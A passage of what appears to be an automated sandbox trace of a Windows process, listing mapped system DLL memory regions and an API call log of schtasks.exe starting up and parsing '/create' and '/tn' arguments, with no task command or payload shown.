= 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3167 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3168 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3169 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3170 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3171 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3172 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3173 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3174 start_va = 0x270000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 3175 start_va = 0x2f0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 3176 start_va = 0x3f0000 end_va = 0x577fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3177 start_va = 0xd0000 end_va = 0xf8fff monitored = 0 entry_point = 0xd1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3178 start_va = 0x100000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 3179 start_va = 0xd0000 end_va = 0xf8fff monitored = 0 entry_point = 0xd1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3180 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3181 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3182 start_va = 0x580000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 3183 start_va = 0x710000 end_va = 0x1b0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 3184 start_va = 0xd0000 end_va = 0xe1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3185 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3186 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 3187 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3188 start_va = 0x1b10000 end_va = 0x1ddefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3189 start_va = 0x1de0000 end_va = 0x1e5cfff monitored = 0 entry_point = 0x1decec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3190 start_va = 0x1de0000 end_va = 0x1e5cfff monitored = 0 entry_point = 0x1decec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3191 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3192 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3193 start_va = 0x1de0000 end_va = 0x1f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 3194 start_va = 0x1f30000 end_va = 0x200efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f30000" filename = "" Region: id = 3195 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3196 start_va = 0x2040000 end_va = 0x20bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 3197 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3198 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3199 start_va = 0x270000 end_va = 0x270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 3200 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 3201 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3202 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 3203 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3204 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3205 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 150 os_tid = 0x3c0 [0073.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbf740 | out: lpSystemTimeAsFileTime=0xbf740*(dwLowDateTime=0x54d42340, dwHighDateTime=0x1d9eb0c)) [0073.578] GetCurrentProcessId () returned 0x718 [0073.578] GetCurrentThreadId () returned 0x3c0 [0073.578] GetTickCount () returned 0x1767dce [0073.578] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xbf748 | out: lpPerformanceCount=0xbf748*=2488006149894) returned 1 [0073.579] GetModuleHandleW (lpModuleName=0x0) returned 0xff9d0000 [0073.579] __set_app_type (_Type=0x1) [0073.579] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff9f972c) returned 0x0 [0073.579] __wgetmainargs (in: _Argc=0xffa11240, _Argv=0xffa11250, _Env=0xffa11248, _DoWildCard=0, _StartInfo=0xffa1125c | out: _Argc=0xffa11240, _Argv=0xffa11250, _Env=0xffa11248) returned 0 [0073.580] _onexit (_Func=0xffa02ab0) returned 0xffa02ab0 [0073.580] _onexit (_Func=0xffa02ac4) returned 0xffa02ac4 [0073.580] _onexit (_Func=0xffa02afc) returned 0xffa02afc [0073.580] _onexit (_Func=0xffa02b58) returned 0xffa02b58 [0073.580] _onexit (_Func=0xffa02b80) returned 0xffa02b80 [0073.580] _onexit (_Func=0xffa02ba8) returned 0xffa02ba8 [0073.580] _onexit (_Func=0xffa02bd0) returned 0xffa02bd0 [0073.581] _onexit (_Func=0xffa02bf8) returned 0xffa02bf8 [0073.581] _onexit (_Func=0xffa02c20) returned 0xffa02c20 [0073.581] _onexit (_Func=0xffa02c48) returned 0xffa02c48 [0073.581] _onexit (_Func=0xffa02c70) returned 0xffa02c70 [0073.581] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0073.581] WinSqmIsOptedIn () returned 0x0 [0073.582] GetProcessHeap () returned 0x100000 [0073.582] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x18) returned 0x115590 [0073.582] SetLastError (dwErrCode=0x0) [0073.582] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0073.582] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0073.582] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0073.582] VerifyVersionInfoW (in: lpVersionInformation=0xbef00, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xbef00) returned 1 [0073.582] GetProcessHeap () returned 0x100000 [0073.582] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x18) returned 0x11bb50 [0073.582] lstrlenW (lpString="") returned 0 [0073.582] GetProcessHeap () returned 0x100000 [0073.582] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x2) returned 0x11bb70 [0073.582] GetProcessHeap () returned 0x100000 [0073.582] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x115a80 [0073.582] GetProcessHeap () returned 0x100000 [0073.582] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x18) returned 0x11bb90 [0073.582] GetProcessHeap () returned 0x100000 [0073.582] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x115ab0 [0073.582] GetProcessHeap () returned 0x100000 [0073.582] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x115ae0 [0073.582] GetProcessHeap () returned 0x100000 [0073.582] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x115b10 [0073.582] GetProcessHeap () returned 0x100000 [0073.582] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x115b40 [0073.583] GetProcessHeap () returned 0x100000 [0073.583] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x18) returned 0x11bbb0 [0073.583] GetProcessHeap () returned 0x100000 [0073.583] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x115b70 [0073.583] GetProcessHeap () returned 0x100000 [0073.583] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x115ba0 [0073.583] GetProcessHeap () returned 0x100000 [0073.583] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x115bd0 [0073.583] GetProcessHeap () returned 0x100000 [0073.583] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x115c00 [0073.583] GetProcessHeap () returned 0x100000 [0073.583] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x18) returned 0x11bbd0 [0073.583] GetProcessHeap () returned 0x100000 [0073.583] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x115c30 [0073.583] GetProcessHeap () returned 0x100000 [0073.583] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x115c60 [0073.583] GetProcessHeap () returned 0x100000 [0073.583] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x115c90 [0073.583] GetProcessHeap () returned 0x100000 [0073.583] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x115cc0 [0073.583] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.584] SetLastError (dwErrCode=0x0) [0073.584] GetProcessHeap () returned 0x100000 [0073.584] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x115cf0 [0073.584] GetProcessHeap () returned 0x100000 [0073.584] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x115d20 [0073.584] GetProcessHeap () returned 0x100000 [0073.584] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x115d50 [0073.584] GetProcessHeap () returned 0x100000 [0073.584] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x115d80 [0073.584] GetProcessHeap () returned 0x100000 [0073.584] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x115db0 [0073.584] GetProcessHeap () returned 0x100000 [0073.584] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x18) returned 0x11bbf0 [0073.584] _memicmp (_Buf1=0x11bbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.584] GetProcessHeap () returned 0x100000 [0073.584] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x208) returned 0x11bd90 [0073.584] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x11bd90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0073.585] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0073.586] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0073.590] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0073.591] GetProcessHeap () returned 0x100000 [0073.591] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x74e) returned 0x11c360 [0073.591] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0073.591] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x11c360 | out: lpData=0x11c360) returned 1 [0073.591] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0073.591] VerQueryValueW (in: pBlock=0x11c360, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xbefe8, puLen=0xbf050 | out: lplpBuffer=0xbefe8*=0x11c6fc, puLen=0xbf050) returned 1 [0073.594] _memicmp (_Buf1=0x11bbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.594] _vsnwprintf (in: _Buffer=0x11bd90, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xbefc8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0073.594] VerQueryValueW (in: pBlock=0x11c360, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xbf058, puLen=0xbf048 | out: lplpBuffer=0xbf058*=0x11c528, puLen=0xbf048) returned 1 [0073.594] lstrlenW (lpString="schtasks.exe") returned 12 [0073.594] lstrlenW (lpString="schtasks.exe") returned 12 [0073.594] lstrlenW (lpString=".EXE") returned 4 [0073.595] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0073.596] lstrlenW (lpString="schtasks.exe") returned 12 [0073.596] lstrlenW (lpString=".EXE") returned 4 [0073.596] _memicmp (_Buf1=0x11bbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.596] lstrlenW (lpString="schtasks") returned 8 [0073.596] GetProcessHeap () returned 0x100000 [0073.596] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x115ea0 [0073.596] GetProcessHeap () returned 0x100000 [0073.596] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11cc70 [0073.597] GetProcessHeap () returned 0x100000 [0073.597] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11cca0 [0073.597] GetProcessHeap () returned 0x100000 [0073.597] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11ccd0 [0073.597] GetProcessHeap () returned 0x100000 [0073.597] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x18) returned 0x11bc10 [0073.597] _memicmp (_Buf1=0x11bc10, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.597] GetProcessHeap () returned 0x100000 [0073.597] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0xa0) returned 0x11c190 [0073.597] GetProcessHeap () returned 0x100000 [0073.597] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11cd00 [0073.597] GetProcessHeap () returned 0x100000 [0073.597] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11cd30 [0073.597] GetProcessHeap () returned 0x100000 [0073.597] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11cd60 [0073.597] GetProcessHeap () returned 0x100000 [0073.597] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x18) returned 0x11bc30 [0073.597] _memicmp (_Buf1=0x11bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.597] GetProcessHeap () returned 0x100000 [0073.597] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x200) returned 0x11d440 [0073.597] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x11d440, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0073.598] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0073.598] GetProcessHeap () returned 0x100000 [0073.598] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x30) returned 0x117c10 [0073.598] _vsnwprintf (in: _Buffer=0x11c190, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xbefc8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0073.598] GetProcessHeap () returned 0x100000 [0073.598] GetProcessHeap () returned 0x100000 [0073.598] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11c360) returned 1 [0073.598] GetProcessHeap () returned 0x100000 [0073.598] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11c360) returned 0x74e [0073.599] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11c360 | out: hHeap=0x100000) returned 1 [0073.599] SetLastError (dwErrCode=0x0) [0073.599] GetThreadLocale () returned 0x409 [0073.599] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.599] lstrlenW (lpString="?") returned 1 [0073.599] GetThreadLocale () returned 0x409 [0073.599] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.599] lstrlenW (lpString="create") returned 6 [0073.599] GetThreadLocale () returned 0x409 [0073.599] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.599] lstrlenW (lpString="delete") returned 6 [0073.599] GetThreadLocale () returned 0x409 [0073.599] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.599] lstrlenW (lpString="query") returned 5 [0073.599] GetThreadLocale () returned 0x409 [0073.600] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.600] lstrlenW (lpString="change") returned 6 [0073.600] GetThreadLocale () returned 0x409 [0073.600] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.600] lstrlenW (lpString="run") returned 3 [0073.600] GetThreadLocale () returned 0x409 [0073.600] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.600] lstrlenW (lpString="end") returned 3 [0073.600] GetThreadLocale () returned 0x409 [0073.600] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.600] lstrlenW (lpString="showsid") returned 7 [0073.600] GetThreadLocale () returned 0x409 [0073.600] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0073.600] SetLastError (dwErrCode=0x0) [0073.600] SetLastError (dwErrCode=0x0) [0073.600] lstrlenW (lpString="/create") returned 7 [0073.600] lstrlenW (lpString="-/") returned 2 [0073.600] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0073.600] lstrlenW (lpString="?") returned 1 [0073.600] lstrlenW (lpString="?") returned 1 [0073.600] GetProcessHeap () returned 0x100000 [0073.600] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x18) returned 0x11c240 [0073.600] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.600] GetProcessHeap () returned 0x100000 [0073.600] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0xa) returned 0x11c360 [0073.601] lstrlenW (lpString="create") returned 6 [0073.601] GetProcessHeap () returned 0x100000 [0073.601] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x18) returned 0x11c380 [0073.601] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.601] GetProcessHeap () returned 0x100000 [0073.601] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x14) returned 0x11c3a0 [0073.601] _vsnwprintf (in: _Buffer=0x11c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|?|") returned 3 [0073.601] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|create|") returned 8 [0073.601] lstrlenW (lpString="|?|") returned 3 [0073.601] lstrlenW (lpString="|create|") returned 8 [0073.601] SetLastError (dwErrCode=0x490) [0073.601] lstrlenW (lpString="create") returned 6 [0073.601] lstrlenW (lpString="create") returned 6 [0073.601] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.601] GetProcessHeap () returned 0x100000 [0073.601] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11c360) returned 1 [0073.601] GetProcessHeap () returned 0x100000 [0073.601] RtlReAllocateHeap (Heap=0x100000, Flags=0xc, Ptr=0x11c360, Size=0x14) returned 0x11c3c0 [0073.601] lstrlenW (lpString="create") returned 6 [0073.601] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.601] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|create|") returned 8 [0073.601] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|create|") returned 8 [0073.601] lstrlenW (lpString="|create|") returned 8 [0073.602] lstrlenW (lpString="|create|") returned 8 [0073.602] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0073.602] SetLastError (dwErrCode=0x0) [0073.602] SetLastError (dwErrCode=0x0) [0073.602] SetLastError (dwErrCode=0x0) [0073.602] lstrlenW (lpString="/tn") returned 3 [0073.602] lstrlenW (lpString="-/") returned 2 [0073.602] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0073.602] lstrlenW (lpString="?") returned 1 [0073.602] lstrlenW (lpString="?") returned 1 [0073.602] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.602] lstrlenW (lpString="tn") returned 2 [0073.602] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.602] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|?|") returned 3 [0073.602] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|tn|") returned 4 [0073.602] lstrlenW (lpString="|?|") returned 3 [0073.602] lstrlenW (lpString="|tn|") returned 4 [0073.602] SetLastError (dwErrCode=0x490) [0073.602] lstrlenW (lpString="create") returned 6 [0073.602] lstrlenW (lpString="create") returned 6 [0073.602] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.602] lstrlenW (lpString="tn") returned 2 [0073.602] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.603] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|create|") returned 8 [0073.603] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|tn|") returned 4 [0073.603] lstrlenW (lpString="|create|") returned 8 [0073.603] lstrlenW (lpString="|tn|") returned 4 [0073.603] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0073.603] SetLastError (dwErrCode=0x490) [0073.603] lstrlenW (lpString="delete") returned 6 [0073.603] lstrlenW (lpString="delete") returned 6 [0073.603] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.603] lstrlenW (lpString="tn") returned 2 [0073.603] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.603] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|delete|") returned 8 [0073.603] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|tn|") returned 4 [0073.603] lstrlenW (lpString="|delete|") returned 8 [0073.603] lstrlenW (lpString="|tn|") returned 4 [0073.603] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0073.603] SetLastError (dwErrCode=0x490) [0073.603] lstrlenW (lpString="query") returned 5 [0073.603] lstrlenW (lpString="query") returned 5 [0073.603] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.603] lstrlenW (lpString="tn") returned 2 [0073.603] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.604] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|query|") returned 7 [0073.604] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|tn|") returned 4 [0073.604] lstrlenW (lpString="|query|") returned 7 [0073.604] lstrlenW (lpString="|tn|") returned 4 